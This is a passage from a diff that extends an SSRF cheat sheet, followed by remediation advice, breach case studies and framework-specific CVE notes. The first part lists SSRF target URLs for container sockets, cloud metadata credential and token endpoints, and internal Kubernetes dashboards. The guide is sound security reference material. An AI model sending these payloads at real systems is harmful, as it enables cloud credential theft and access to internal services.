713
+ http://vulnerable-app?url=unix:///var/run/docker.sock:/v1.40/containers/json
714
+
715
+ # containerd socket
716
+ unix:///run/containerd/containerd.sock
717
+
718
+ # CRI-O socket
719
+ unix:///var/run/crio/crio.sock
720
+ ```
721
+
722
+ #### Container Metadata Services
723
+
724
+ ```bash
725
+ # ECS Task Metadata Endpoint (AWS ECS/Fargate)
726
+ http://169.254.170.2/v2/metadata # Task metadata
727
+ http://169.254.170.2/v2/credentials # IAM credentials for task role
728
+ http://169.254.170.2/v2/stats # Task stats
729
+ http://169.254.170.2/v3/ # v3 endpoint
730
+
731
+ # GCP Cloud Run metadata
732
+ http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
733
+ # Requires header: Metadata-Flavor: Google
734
+
735
+ # Azure Container Instances
736
+ http://169.254.169.254/metadata/instance?api-version=2021-02-01
737
+ # Requires header: Metadata: true
738
+ ```
739
+
740
+ #### Kubernetes Dashboard and Management Tools
741
+
742
+ ```bash
743
+ # Kubernetes Dashboard (if exposed internally)
744
+ http://kubernetes-dashboard.kube-system.svc.cluster.local
745
+
746
+ # Prometheus
747
+ http://prometheus.monitoring.svc.cluster.local:9090/api/v1/query?query=up
748
+
749
+ # Grafana
750
+ http://grafana.monitoring.svc.cluster.local:3000
751
+
752
+ # ArgoCD
753
+ http://argocd-server.argocd.svc.cluster.local
754
+
755
+ # Rancher
756
+ http://rancher.cattle-system.svc.cluster.local
757
+ ```
758
+
759
+ ## Remediation Recommendations
760
+
761
+ ### Input Validation
762
+
763
+ - Implement strict URL validation
764
+ - Use allowlists for domains and IP ranges
765
+ - Validate URL schemes/protocols
766
+ - Implement rate limiting
767
+ - Apply layered allow-lists: validate scheme → network range → domain, in that order
768
+
769
+ ### Network Controls
770
+
771
+ - Segment internal networks
772
+ - Use egress filtering
773
+ - Implement proper firewall rules
774
+ - Disable unused URL schemes
775
+ - Block the IMDSv2 token-acquire path (`PUT /latest/api/token`) for workloads that do not need EC2 metadata
776
+ - Verify that SNI and the initial `Host` header match on every new TLS connection to mitigate HTTP/2 coalescing
777
+ - Terminate user-supplied fetches in a sandboxed egress proxy that enforces allow‑lists and IP range checks after DNS resolution
778
+ - Disallow redirects to private address space; re‑validate target after each redirect hop
779
+
780
+ ### Application Design
781
+
782
+ - Use pre-signed URLs for cloud resources
783
+ - Implement proper access controls
784
+ - Use secure defaults for all URL handlers
785
+ - Implement request timeouts
786
+ - Strict, two‑stage URL validation using a trusted RFC‑3986 parser: validate scheme/host first, then resolve and validate IP/CIDR
787
+ - Prefer fetching by resource ID rather than arbitrary URL; where unavoidable, use signed callbacks (HMAC) and queue‑based fetchers
788
+
789
+ ## Real-World Examples
790
+
791
+ ### Case Studies
792
+
793
+ - Capital One Breach (2019)
794
+ - Exploitation of metadata service
795
+ - Impact: 100M+ customer records exposed
796
+ - Gitlab SSRF (2019)
797
+ - Improper URL validation in import feature
798
+ - Could access internal services
799
+ - Microsoft Purview SSRF (2025)
800
+ - Misconfigured proxy endpoint allowed metadata-service access, leading to cross-tenant data exposure
801
+
802
+ ### Common Attack Scenarios
803
+
804
+ - Cloud metadata access leading to credential theft
805
+ - Internal service enumeration through port scanning
806
+ - Redis unauthorized access via Gopher protocol
807
+ - Jenkins exploitation through internal access
808
+
809
+ ## Framework-Specific SSRF
810
+
811
+ ### Node.js
812
+
813
+ - Axios validation bypass techniques
814
+ - `http-proxy` misconfigurations
815
+ - `request` module vulnerabilities
816
+ - Axios path-relative URL bypass (CVE-2024-39338) — upgrade to ≥ 1.7.4
817
+
818
+ ### Python
819
+
820
+ - `requests` library security considerations
821
+ - `urllib` parsing inconsistencies
822
+ - Flask/Django SSRF prevention
823
+
824
+ ### Java
825
+
826
+ - `URLConnection` security practices
827
+ - Spring framework protections
828
+ - Apache HttpClient considerations
829
+ - Apache CXF Aegis databinding SSRF (CVE-2024-28752)
830
+